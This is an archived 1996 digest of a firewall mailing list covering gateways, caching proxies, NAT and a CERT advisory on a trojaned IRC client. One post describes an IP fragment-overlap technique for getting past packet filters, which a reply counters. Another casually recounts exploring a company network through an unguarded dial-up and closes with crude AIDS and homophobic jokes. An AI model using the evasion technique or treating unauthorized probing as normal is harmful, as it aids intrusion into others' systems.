
>Of course this contradicts to a certain degree the "keep it
>simple stupid" approach presented by Cheswick/Bellovin: An
>application level gateway thatz actually tries to implement the
>protocol spoken at the port it guards is certainly more complex
>than a simple plug-gw and runs a higher risk of hiding some
>nasty bug somewhere inside...

	To correctly interpret the protocol it has to have
the backend daemon it's emulating as a subset. :) I think
that's one of Godel's. :)

	Joking aside -- that's my whole point. There's no
inherent superiority of either application level gateways
or dynamic packet filters. The superiority comes from
whether or not there is adequate security-related processing
for the protocols you want to run through the firewall.

mjr.

From firewalls-owner  Tue Mar  5 08:46:11 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id HAA08669 for firewalls-outgoing; Tue, 5 Mar 1996 07:53:55 -0800 (PST)
Received: from inet1.tek.com (inet1.tek.com [134.62.48.21]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id HAA08656 for <firewalls@GreatCircle.COM>; Tue, 5 Mar 1996 07:53:48 -0800 (PST)
Received: by inet1.tek.com id <AA19362@inet1.tek.com>; Tue, 5 Mar 1996 07:52:18 -0800
Received: from tektronix.tek.com(134.62.48.24) by inet1 via smap (V1.3)
	id sma033153; Tue Mar  5 07:52:08 1996
Received: from orca.wv.tek.com by tektronix.TEK.COM (4.1/8.2)
	id AA17608; Tue, 5 Mar 96 07:52:01 PST
Received: from trouble.WV.TEK.COM by orca.wv.tek.com (4.1/8.2)
	id AA16324; Tue, 5 Mar 96 07:54:08 PST
Received: by trouble.WV.TEK.COM (4.1/8.0)
	id AA00753; Tue, 5 Mar 96 07:50:27 PST
Date: Tue, 5 Mar 1996 07:50:25 -0800 (PST)
From: Kent Dahlgren <kent@trouble.WV.TEK.COM>
To: firewalls@GreatCircle.COM
Subject: IRC thingy - lets put it to rest.
Message-Id: <Pine.SUN.3.91.960305074229.640D-100000@trouble>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk


Thank you all for writing.  There is a CERT advisory for this IRC thing:

ftp://ftp.cert.org/pub/cert_advisories/CA-94:14.trojan.horse.in.IRC.client.for.UNIX

Pretty good reading!  Explains the whole deal.  Again, thanks to all who 
wrote.

       "Any ideas expressed here may not reflect those of my employers"
______________________________________________________________________________
______ T E K T R O N I X _ C P I D _ T E C H N I C A L _ S U P P O R T _______
                      /
 Voice: 1.800.835.6100             E-mail: support@colorprinters.tek.com
    Fax: 1.503.685.3063                WWW: www.tek.com
     BBS: 1.503.685.4504            E-World: Keyword Tektronix
      HAL: 1.503.682.7450                AOL: Keyword Tektronix
   Service: 1.800.835.6100                FTP: ftp.tek.com
______________________________________________________________________________



From firewalls-owner  Tue Mar  5 08:51:07 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id HAA08738 for firewalls-outgoing; Tue, 5 Mar 1996 07:54:57 -0800 (PST)
Received: from dg-rtp.dg.com (dg-rtp.rtp.dg.com [128.222.1.2]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id HAA08708 for <firewalls@greatcircle.com>; Tue, 5 Mar 1996 07:54:24 -0800 (PST)
Received: from scorpian.europe.dg.com by dg-rtp.dg.com (5.4R3.10/dg-rtp-v02)
	id AA06635; Tue, 5 Mar 1996 10:52:46 -0500
Received: from mojo.europe.dg.com by scorpian.europe.dg.com (5.4R3.00/dg-s04)
	id AA10124; Tue, 5 Mar 1996 15:52:44 GMT
Received: from pdavidson.europe.dg.com by mojo.europe.dg.com (5.4R3.10/dg-gens08)
	id AA00704; Tue, 5 Mar 1996 15:53:26 GMT
Message-Id: <9603051553.AA00704@mojo.europe.dg.com>
Comments: Authenticated sender is <fil@mojo.europe.dg.com>
From: "Phil Davidson" <fil@mojo.europe.dg.com>
Organization: Data General
To: firewalls@greatcircle.com
Date: Tue, 5 Mar 1996 15:53:54 +0000
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
Subject: Firewall comparison chart - the answers....
Reply-To: fil@mojo.europe.dg.com
X-Mailer: Pegasus Mail for Windows (v2.23)
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk


A couple of weeks ago, I posted a message looking for a firewall
comparison chart.  I got a large number of replies - thanks
to everyone, sorry I couldn't reply individually.  I also got a large 
number of requests to pass the information on.  Sorry its 
taken so long - I've been rather busy lately.

Out of all the answers I got, the same 2 kept croping up again
and again.....and here they are

cheers
Phil


The more complete chart I've seen is in the following ref.

George R. Kurtz & David Roath.  "Shopping for Firewalls",
in Infosecurity News, MIS Institute Press, 1995.

[info: (508) 879-9792].

Very complete chart.  Includes "Product type", "proxies supported",
"authentication supported", "authentication provided", "security
features", "auditing features", "administration features", and
"pricing and support".  All the above categories are cut in 4-5
columns.  There are 26 products/suppliers listed.


-------------------------------------------------------------------------------------

Network Computing (just arrived today) has a review of 6 firewall
products. I haven't read it yet, I don't know which ones they are
evaluating. It's a feature article though.

[ This message has been sent to the firewalls list. If you reply to
  this message to the list, please do not CC me on the reply. I subscribe
  to the list and will read it there ]


--
____________________________________________________________________________
Doug Hughes					Engineering Network Services
System/Net Admin  				Auburn University
			doug@eng.auburn.edu
		Pro is to Con as progress is to congress



From firewalls-owner  Tue Mar  5 10:16:35 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id KAA16118 for firewalls-outgoing; Tue, 5 Mar 1996 10:08:36 -0800 (PST)
Received: from uu11.psi.com (uu11.psi.com [38.8.24.2]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id KAA16113 for <firewalls@GreatCircle.COM>; Tue, 5 Mar 1996 10:08:31 -0800 (PST)
Received: from gate.funb.com by uu11.psi.com (5.65b/4.0.940727-PSI/PSINet) via SMTP;
        id AA19413 for ; Tue, 5 Mar 96 12:55:09 -0500
Received: by funb.com (4.1/SMI-4.1)
	id AA04194; Tue, 5 Mar 96 12:55:06 EST
Received: from cm_mailhost.capmark.funb.com by gate.funb.com via SMTP (V1.3)
	id sma004163; Tue Mar  5 12:54:50 1996
Received: from funws302.capmark.funb.com (funws302.capmark.funb.com [168.175.7.54]) by cm_mailhost.capmark.funb.com (8.7.4/8.7.3) with ESMTP id MAA06125; Tue, 5 Mar 1996 12:54:49 -0500 (EST)
From: "Mark Horn [ Net Ops ]" <mhorn@funb.com>
Received: (mhorn@localhost) by funws302.capmark.funb.com (8.6.12/8.6.12) id MAA08496; Tue, 5 Mar 1996 12:54:48 -0500
Message-Id: <199603051754.MAA08496@funws302.capmark.funb.com>
Subject: Re: Web Caching Proxy Servers
To: little@hks.com (Jim Littlefield)
Date: Tue, 5 Mar 1996 12:54:47 -0500 (EST)
Cc: daves@xetron.com, firewalls@GreatCircle.COM
In-Reply-To: <313C3971.167E@hks.com> from "Jim Littlefield" at Mar 5, 96 07:54:09 am
X-Mailer: ELM [version 2.4 PL24 ME8]
Content-Type: text
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Jim Littlefield says:
>Dave Steele wrote:
>> I can't comment on throughput, but our network cache hit rate is very
>> poor (about 10% with a 50 MB cache). So we are getting little benefit
>> from the cache processing. If you have over 10-20 users, you should
>> expect about the same number.
>
>Interesting, I guess your milage will vary. We are averaging 30% hit
>rate with ~120 users and a 100Mb cache (Harvest).Dave Steele wrote:

Hmmm... we have several hundred users.  We have a cache size of about
slightly less than 2Gig.  However, it's not yet been filled.  It hovers
around 500MB of the total 2Gig used.  We're getting about 25% cache hit
rate.  When we only had 75MB for the cache we were getting about 6% cache hit
rate.

Clearly, the size of the cache is a factor.  But additionally, so is the
breadth of interests of the user community.  If the user community interests
are varied enough, then each file is only loaded into the cache once, but its
never retrieved by someone else with the same interest.

-- 
Mark Horn                                          
mhorn@funb.com

Free Advice and Opinions -- Refunds Available

From firewalls-owner  Tue Mar  5 10:53:07 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id KAA16636 for firewalls-outgoing; Tue, 5 Mar 1996 10:16:55 -0800 (PST)
Received: from databus.databus.com (databus.databus.com [198.186.154.34]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id KAA16600 for <Firewalls@greatcircle.com>; Tue, 5 Mar 1996 10:16:42 -0800 (PST)
Message-ID: <9603051315.AA26698@databus.databus.com>
Date: Tue,  5 Mar 96 13:15 EST
From: Barney Wolff <barney@databus.com>
To: Firewalls@GreatCircle.COM
Subject: Re: IP fragmentation attacks (was: Pentagon displays due respect...)
Content-Type: text
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

>Date: Tue, 05 Mar 1996 10:19:17 +0000
>From: Ian Miller <firewalls@scientia.com>
>
>I know this is the RFC1858 solution and it stops _most_ fragmentation
>attacks.  However it still lets one through.  I pointed this out to the RFC
>authors two months ago, and the only reply that I got accepted it is
>possible.  The attack is as follows:-
>
>At least two fragments are sent. (It may require a third.)
>A) FO=0 length >= 16  [i.e. A complete header ]
>B) FO=0, length 8 bytes [i.e. Ports & Sequence number only]
>
>A) contains a completely valid header (e.g. SMTP connection request ACK = 0)
>B) contains what could be the start of a legal header for an existing connection
>   only.  (e.g. both ports > 1023 if you allow outgoing PASV-FTP)
>
>However the result of overwriting B with A is an illegal packet that the
>attacker is trying to get through.  (e.g. Connecting to an X11 server)
>For the attack to work the attacker must find a way of getting the host
>under attack to combine the A with the rest of B.  He can try transmitting
>in either order.  (Obviously if B is transmitted first, it must be less than
>the whole message and there must be a third fragment with FO>1.)

The key to defeating this is to drop fragment B.  While it is strictly
speaking legal, in practice it's all but certain to be an attack and
nothing is lost by dropping it.

Barney Wolff  <barney@databus.com>

From firewalls-owner  Tue Mar  5 13:48:25 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id NAA27970 for firewalls-outgoing; Tue, 5 Mar 1996 13:28:04 -0800 (PST)
Received: from novell.com (nj-ums.fpk.novell.com [147.2.128.54]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id NAA27965 for <firewalls@greatcircle.com>; Tue, 5 Mar 1996 13:27:52 -0800 (PST)
From: cjc@novell.com (Chris Calabrese)
To: firewalls@greatcircle.com
Date: Tue, 5 Mar 1996 10:24 EST
Received: from summit by UMS-hub.novell.com; Tue,  5 Mar 96 10:25 EST
Subject: PASV FTP for Win95, WinNT, and Macintosh
Content-Type: text/plain
Message-ID: <313c5cce0.484a@plasma.summit.novell.com>
Original-Content-Type: text/plain
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Hi folks.  Sorry if this has been asked recently, but...

I'm looking for FTP clients that support PASV mode for Win95, WinNT
and Macintosh.

I know that the various WWW browsers support PASV, but they
don't allow non-anonymoud FTP, which we need.

--
Christopher J. Calabrese
Network Security Architect
Novell IS&T Security Services Group, Florham Park, NJ
cjc@novell.com

From firewalls-owner  Tue Mar  5 15:30:20 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id NAA28066 for firewalls-outgoing; Tue, 5 Mar 1996 13:32:12 -0800 (PST)
Received: from ranma.coc.powell-river.bc.ca (ranma.coc.powell-river.bc.ca [204.174.4.2]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id NAA28039 for <firewalls@GreatCircle.COM>; Tue, 5 Mar 1996 13:31:57 -0800 (PST)
Received: (from fubar@localhost) by ranma.coc.powell-river.bc.ca (8.6.9/8.6.9) id NAA05179; Tue, 5 Mar 1996 13:39:51 -0800
Date: Tue, 5 Mar 1996 13:39:49 -0800
From: Failed Uni-Bus Address Register <fubar@ranma.coc.powell-river.bc.ca>
Subject: Re: IRC - possible problem.
To: Kent Dahlgren <kent@trouble.WV.TEK.COM>
cc: firewalls@GreatCircle.COM
In-Reply-To: <Pine.SUN.3.91.960304070830.2686A-100000@trouble>
Message-ID: <Pine.3.89.9603051346.G5054-0100000@ranma>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk



On Mon, 4 Mar 1996, Kent Dahlgren wrote:

> Anyhow..I got a question for the group.  Anyone here familiar with IRC? 
> Thats IRC, as in Internet Relay Chat.  The thing that far too many people
> waste thier lives doing.  Anyhow, I personally witnessed a "hack" that
> involves taking control of a remote person's...I hate to say keyboard, but
> that's about what it is.  The attacker being able to execute remote
> commands from his (her) keyboard, on the victims system.  Now I know that
> all of you administrators out there would never dream of allowing IRC, but
> in case you all know somebody that would do such a thing, and they had
> experienced anything like complaints of a "temporarily locked keyboard" or
> any other boogie men like that, let me know.  

This varies on the client, and the "script".  Unix based ircII clients 
are "mostly" secure "out-of-the-compiler", but they allow users to design 
scripts.  These scripts, if improperly done, can allow remote users 
to issue commands on the users system.  There are some scripts 
distributed that contain these "backdoors" including some that outright 
have code that mails /etc/passwd/ to the hackers.

Unix based ircII clients can be compiled with things like the /exec(ute) 
command disabled.  It all boils down to go with what you know.  :)

Other clients, such as ircle (I think) for Mac have had bugs in them that 
have allowed remote users to issue commands.

					Aluve, Warren

From firewalls-owner  Tue Mar  5 15:35:23 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id OAA00602 for firewalls-outgoing; Tue, 5 Mar 1996 14:38:14 -0800 (PST)
Received: from lint.cisco.com (lint.cisco.com [171.68.235.77]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id OAA00585 for <firewalls@GreatCircle.com>; Tue, 5 Mar 1996 14:38:06 -0800 (PST)
Received: from pferguso-pc.cisco.com (c3robo3.cisco.com [171.68.13.67]) by lint.cisco.com (8.6.10/CISCO.SERVER.1.1) with SMTP id OAA00450; Tue, 5 Mar 1996 14:35:32 -0800
Message-Id: <199603052235.OAA00450@lint.cisco.com>
X-Sender: pferguso@lint.cisco.com (Unverified)
X-Mailer: Windows Eudora Pro Version 2.1.2
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Tue, 05 Mar 1996 17:36:21 -0500
To: "MARC CHATEL @AEO" <chatel.marc@a1_annecy.frmrc.aeo.mts.dec.com> (by way of hcb@clark.net (Howard C.  Berkowitz))
From: Paul Ferguson <pferguso@cisco.com>
Subject: Re: Handling IP addressing conflicts with cascaded proxies
Cc: pier@ISI.EDU, firewalls@GreatCircle.com
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

At 11:34 AM 3/5/96 -0800, MARC CHATEL @AEO"  (by way of wrote:

>[originally posted to firewalls list; posted to PIER by permission]
>
>Hello all,
>
>I see that the subject of handling multiple occurrences of the
>same IP network numbers has come up again. We should make this
>part of the firewall FAQ, I guess...
>
>The most common cases where this occurs is an organization that
>has umpteen network numbers (which are not InterNIC-registered)
>that now needs to connect to the Internet in some way. What should be
>put in the middle of the connection that will support the fact that
>some IP addresses exist on BOTH sides of the configuration?
>

This is a classic example of where NAT [Network Address Translation] could
be easily and justifiably deployed. 

- paul

--
Paul Ferguson                                           ||        ||
Consulting Engineering                                  ||        ||
Reston, Virginia   USA                                 ||||      ||||
tel: +1.703.716.9538                               ..:||||||:..:||||||:..
e-mail: pferguso@cisco.com                         c i s c o S y s t e m s


From firewalls-owner  Tue Mar  5 15:40:59 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id NAA28673 for firewalls-outgoing; Tue, 5 Mar 1996 13:59:06 -0800 (PST)
Received: from mickey.ovid.com (mickey.ovid.com [198.242.51.2]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id NAA28665 for <firewalls@GreatCircle.COM>; Tue, 5 Mar 1996 13:58:57 -0800 (PST)
Received: by mickey.ovid.com (AIX 3.2/UCB 5.64/4.03)
          id AA14053; Tue, 5 Mar 1996 14:56:09 -0700
Date: Tue, 5 Mar 1996 14:56:08 -0700 (MST)
From: Adam Prato <adamp@mickey.ovid.com>
To: Kent Dahlgren <kent@trouble.WV.TEK.COM>
Cc: firewalls@GreatCircle.COM
Subject: Re: IRC - possible problem.
In-Reply-To: <Pine.SUN.3.91.960304070830.2686A-100000@trouble>
Message-Id: <Pine.A32.3.91.960305144536.16341A-100000@mickey.ovid.com>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk



On Mon, 4 Mar 1996, Kent Dahlgren wrote:

> Anyhow..I got a question for the group.  Anyone here familiar with IRC? 
> Thats IRC, as in Internet Relay Chat.  The thing that far too many people
> waste thier lives doing.  Anyhow, I personally witnessed a "hack" that
> involves taking control of a remote person's...I hate to say keyboard, but
> that's about what it is.  The attacker being able to execute remote
> commands from his (her) keyboard, on the victims system.  Now I know that
> all of you administrators out there would never dream of allowing IRC, but
> in case you all know somebody that would do such a thing, and they had
> experienced anything like complaints of a "temporarily locked keyboard" or
> any other boogie men like that, let me know.  

I would say there are a few guidelines we should follow, however, its the same
for IRC as it is for any other program you will allow on your host.

1) Only get the source from trusted hosts - ftp://cs-pub.bu.edu/pub.
2) Warn people *not* to use scripts from untrusted people. Or even go so far
   as to *forbid* users from using some of the irc scripts on the net
   (lice, phoenix, etc). Many tend to have back doors that allow certain 
   commands to be sent to your client and executed as if you were typing them.

When I first started out with unix (total newbie) I had a taste of what bad
source can do. I saw myself cat out the /etc/passwd on my machine. It was scary
I'll tell you. Luckily the passwords were shadowed, and we were behind a
firewall.

Adam


From firewalls-owner  Tue Mar  5 15:44:37 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id OAA00106 for firewalls-outgoing; Tue, 5 Mar 1996 14:28:23 -0800 (PST)
Received: from mycroft.GreatCircle.COM (mycroft.greatcircle.com [198.102.244.35]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id OAA29998 for <firewalls@miles>; Tue, 5 Mar 1996 14:28:20 -0800 (PST)
Received: by mycroft.GreatCircle.COM (8.6.10/SMI-4.1/Brent-960123)
	id OAA09766; Tue, 5 Mar 1996 14:23:15 -0800
Received: from relay3.uu.net(192.48.96.8) by mycroft via smap (V1.3mjr)
	id sma009764; Tue Mar  5 14:22:54 1996
Received: from maestro.Maestro.COM by relay3.UU.NET with SMTP 
	id QQaftx22747; Tue, 5 Mar 1996 17:24:56 -0500 (EST)
Received: by maestro.Maestro.COM (4.1/MAESTRO-0.1/07-03-93)
	id AA27596; Tue, 5 Mar 96 17:13:39 EST
Date: Tue, 5 Mar 1996 17:13:38 -0500 (EST)
From: Sick Puppy <sikpuppy@maestro.com>
To: firewalls@GreatCircle.com
Subject: MIME Sweeper & curious Dawg
Message-Id: <Pine.SUN.3.91.960305165359.27346A-100000@maestro.com>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Found a new dial-up to a new development system.  These clowns are 
running a home-grown firewall but of course the dial-up just went around it.
Anywayz, there is an interesting box on their network, between their mail 
system and their cludgy firewall.  It is a Windows NT machine running 
Mime Sweeper that seems to be automatically scanning all the mail that 
comes in from the firewall for viruses.  Never saw one of these before.
Anybody care to praise it, bad-mouth it, or say what its' competitors are?

Dawg stuff.  Ran over to the Skunk Works in California, where I was 
built, to see if they could figure out why I have so many internal 
arguements.  Skunk Works ain't there no more.  Lockheed done sold it.
Sniffed around a bit, found they now operate a different shop, trotted 
over there.  Got checked out with the diagnostics they use for DarkStar.
Turns out the hind-brain Lockheed previously installed in me is a female 
brain.  That's why I have so many internal arguements and why I spend so 
much time trying to bite my tail.  It also explains these ambivalent 
feelings.  Thank Gwad I'm not gay after all

                                  Sick Puppy, the Cat_Eating_Dawg & Poet
                                       the Church of the Dead Meow

       --==((   AIDS in your rear will give you diarhea    ))==--
       --==((   AIDS in your brain will drive you insane   ))==-- 


From firewalls-owner  Tue Mar  5 15:47:48 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id OAA29113 for firewalls-outgoing; Tue, 5 Mar 1996 14:09:20 -0800 (PST)
Received: from inet1.tek.com (inet1.tek.com [134.62.48.21]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id OAA29106 for <firewalls@GreatCircle.COM>; Tue, 5 Mar 1996 14:09:14 -0800 (PST)
Received: by inet1.tek.com id <AA34574@inet1.tek.com>; Tue, 5 Mar 1996 14:07:43 -0800
Received: from tektronix.tek.com(134.62.48.24) by inet1 via smap (V1.3)
	id sma042186; Tue Mar  5 14:07:01 1996
Received: from orca.wv.tek.com by tektronix.TEK.COM (4.1/8.2)
	id AA25154; Tue, 5 Mar 96 14:06:59 PST
Received: from trouble.WV.TEK.COM by orca.wv.tek.com (4.1/8.2)
	id AA28014; Tue, 5 Mar 96 14:09:06 PST
Received: by trouble.WV.TEK.COM (4.1/8.0)
	id AA01055; Tue, 5 Mar 96 14:05:25 PST
Date: Tue, 5 Mar 1996 14:05:23 -0800 (PST)
From: Kent Dahlgren <kent@trouble.WV.TEK.COM>
To: Adam Prato <adamp@mickey.ovid.COM>
Cc: firewalls@GreatCircle.COM
Subject: Re: IRC - possible problem.
In-Reply-To: <Pine.A32.3.91.960305144536.16341A-100000@mickey.ovid.com>
Message-Id: <Pine.SUN.3.91.960305140341.894E-100000@trouble>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk


On Tue, 5 Mar 1996, Adam Prato wrote:

[snip]
> 1) Only get the source from trusted hosts - ftp://cs-pub.bu.edu/pub.

The CERT advisory says:

        sungear.mame.mu.oz.au:/pub/irc
        alpha.gnu.ai.mit.edu:/ircII (2.6 not available as of 10/19/94)
        ftp.funet.fi:/pub/unix/irc/ircII
        coombs.anu.edu.au:/pub/irc/ircii

        File                  Size     MD5 Checksum
        --------              ------   -----------------------------
        ircii-2.6.tar.gz      366361   3FC5FBD18CB3E6C071F51FD8C6C59017
        ircii-2.6help.tar.gz  111733   D9D535B7A06BED2A2EA6676B20BDA481
        ircii-2.5to2.6-diff   19644    0C05C96B10CB87186BD921536AE3FDF2


Thanks for writing, Adam.


       "Any ideas expressed here may not reflect those of my employers"
______________________________________________________________________________
______ T E K T R O N I X _ C P I D _ T E C H N I C A L _ S U P P O R T _______
                      /
 Voice: 1.800.835.6100             E-mail: support@colorprinters.tek.com
    Fax: 1.503.685.3063                WWW: www.tek.com
     BBS: 1.503.685.4504            E-World: Keyword Tektronix
      HAL: 1.503.682.7450                AOL: Keyword Tektronix
   Service: 1.800.835.6100                FTP: ftp.tek.com
______________________________________________________________________________


From firewalls-owner  Tue Mar  5 17:01:14 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id QAA07121 for firewalls-outgoing; Tue, 5 Mar 1996 16:55:11 -0800 (PST)
Received: from sioux.eel.ufl.edu (sioux.eel.ufl.edu [128.227.56.139]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id QAA07105 for <firewalls@greatcircle.com>; Tue, 5 Mar 1996 16:54:59 -0800 (PST)
Received:  from iriquois.eel.ufl.edu  by sioux.eel.ufl.edu (1.39.111.2/16.2)
	id AA151213572; Tue, 5 Mar 1996 19:52:52 -0500
From: "Mahesh Ramachandran" <rr@eel.ufl.edu>
Message-Id: <199603060052.AA151213572@sioux.eel.ufl.edu>
Subject: Re: tcpdump
To: nicholscs@agedwards.com (Nichols Christopher)
Date: Tue, 5 Mar 1996 19:52:50 -0500 (EST)
Cc: firewalls@greatcircle.com
In-Reply-To: <1996Mar04.110800.1093.34752@igate.agedwards.com> from "Nichols,Christopher" at "Mar 4, 96 11:11:45 am"
Organization: Electrical Engineering, University of Florida     ___
X-Phone: (904) 392-4568                                        <o,o>
X-Operating-System: HP-UX B.10.01 9000/715                     ( . )
X-Url: http://www.eel.ufl.edu/~rr                              -"-"-
X-Mailer: ELM [version 2.4ME+ PL3 (25)]
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Nichols,Christopher wrote:
|> Has anyone compiled tcpdump and libpcap on an HP9000?
|> 
|> Any hints/suggestions would be appreciated.

poke around at ftp.cup.hp.com. (/dist/networking, i think)
you should be able to find a port of the latest
version of libpcap and tcpdump for hp-ux 9.x and 10.x there.
ports of older versions should be at ftp.col.hp.com

-rr


From firewalls-owner  Tue Mar  5 17:38:27 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id QAA06726 for firewalls-outgoing; Tue, 5 Mar 1996 16:43:10 -0800 (PST)
Received: from roma.atc.olivetti.com (roma.atc.olivetti.com [129.189.134.10]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id QAA06721 for <firewalls@GreatCircle.COM>; Tue, 5 Mar 1996 16:43:06 -0800 (PST)
Received: from olivea.ATC.Olivetti.Com ([129.189.134.9]) by roma.atc.olivetti.com with SMTP id <80365>; Tue, 5 Mar 1996 16:41:17 -0800
Received: by olivea.ATC.Olivetti.Com (4.1/SMI-4.1)
	id AA03888; Tue, 5 Mar 96 16:41:13 PST
Received: by PAL.Roche.com (SMI-8.6/SMI-SVR4)
	id QAA04284; Tue, 5 Mar 1996 16:28:08 -0800
From: "Bill Putney" <billp@synseer.PAL.Roche.com>
Message-Id: <9603051628.ZM4282@synseer.Syntex.Com>
Date: 	Tue, 5 Mar 1996 16:28:06 -0800
X-Mailer: Z-Mail (3.2.1 10apr95)
To: firewalls@GreatCircle.COM
Subject: HTTP Proxy Server as a Java Condom?  Which one?
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

OK, I've been beating the bushes for a couple of days now and I still don't
have any resolution to this problem.

Does anyone on the list know which proxy servers will do a ".class" fetch
filter?  Are there any "Java Script" filtering proxy servers yet?

Thanks,

Bill

-- 
=====================================================================
#  Bill Putney - WB6RFW            |  billp@synseer.Syntex.COM      #
#  Roche Bioscience (a.k.a. Syntex)|  olivea!synseer!billp          #
#  M.S. A5-6                       |--------------------------------#
#  3401 Hillview Ave.              |  P.O.T.S.  (415) 855-1259      #
#  Palo Alto, CA  94303            |  FAX       (415) 855-5988      #
#-------------------------------------------------------------------#
#            X400: G=bill;S=putney;P=syntex;A=attmail               #
=====================================================================

From firewalls-owner  Tue Mar  5 18:25:50 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id SAA11051 for firewalls-outgoing; Tue, 5 Mar 1996 18:07:01 -0800 (PST)
Received: from mimos.my (mimos.my [192.228.128.18]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id SAA11043 for <firewalls@greatcircle.com>; Tue, 5 Mar 1996 18:06:54 -0800 (PST)
Received: from ms.mimos.my (ms.mimos.my [192.228.129.33]) by mimos.my (8.7.1/8.7.1) with SMTP id KAA01172 for <firewalls@greatcircle.com>; Wed, 6 Mar 1996 10:05:18 +0800 (MYT)
Received: from teck.mimos.my by ms.mimos.my (5.64/7.0)
	id AA03019; Wed, 6 Mar 96 10:05:17 +0800
Message-Id: <9603060205.AA03019@ms.mimos.my>
To: "firewalls@greatcircle.com" <firewalls@greatcircle.com>
Subject: Re: Web Caching Proxy Servers
Date: Wed, 06 Mar 96 10:07:54 -0500
From: Lee Hooi Teck <teck@mimos.MY>
X-Mailer: E-Mail Connection v2.5.03
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

-- [ From: Lee Hooi Teck * EMC.Ver #2.5.02 ] --

Hi,
Anybody have any statics about how big the cache memory and TTL should be
for different sizes of users segment?

I am currently trying to use Harvest but do not know what are the capacities
needed for web caching proxy servers for 15k user base.

TIA,
teck
-------- REPLY, Original message follows --------

Date: Tuesday, 05-Mar-96 07:54 AM

From: Jim Littlefield          \ Internet:    (little@hks.com)
To:   Dave Steele              \ Internet:    (daves@xetron.com)
cc:   firewalls@greatcircle.com \ Internet:    (firewalls@greatcircle.com)

Subject: Re: Web Caching Proxy Servers

Dave Steele wrote:
> 
> I can't comment on throughput, but our network cache hit rate is very
> poor (about 10% with a 50 MB cache). So we are getting little benefit
> from the cache processing. If you have over 10-20 users, you should
> expect about the same number.

Interesting, I guess your milage will vary. We are averaging 30% hit rate
with ~120 users and a 100Mb cache (Harvest).Dave Steele wrote:

-- 
Jim Littlefield            "One time a cop pulled me over for running a
                            stop sign. He said, 'Didn't you see the stop
                            sign?' I said, 'Yeah, but I don't believe
                            everything I read.'" - Steven Wright


-------- REPLY, End of original message --------


--
Lee Hooi Teck
Senior Research Officer
Malaysian Institute of Microelectronic Systems
Ministry of Science, Technology and Environment
Malaysia

From firewalls-owner  Tue Mar  5 21:00:36 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id UAA22612 for firewalls-outgoing; Tue, 5 Mar 1996 20:46:23 -0800 (PST)
Received: from hobbes.orl.mmc.com (hobbes.orl.mmc.com [141.240.192.100]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id UAA22605 for <firewalls@greatcircle.com>; Tue, 5 Mar 1996 20:46:16 -0800 (PST)
Date: Tue, 5 Mar 1996 23:44:42 -0500 (EST)
From: "A. Padgett Peterson P.E. Information Security" <PADGETT@hobbes.orl.mmc.com>
To: firewalls@greatcircle.com
Message-Id: <960305234442.20204ca4@hobbes.orl.mmc.com>
Subject: Dawgs
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

>Ran over to the Skunk Works in California, where I was 
>built, to see if they could figure out why I have so many internal 
>arguements.  Skunk Works ain't there no more.  Lockheed done sold it.

Wasn't sold, just merged - is still there, still "different". Kinda
like being back in the airframe business again 8*).

					Warmly,
						Padgett

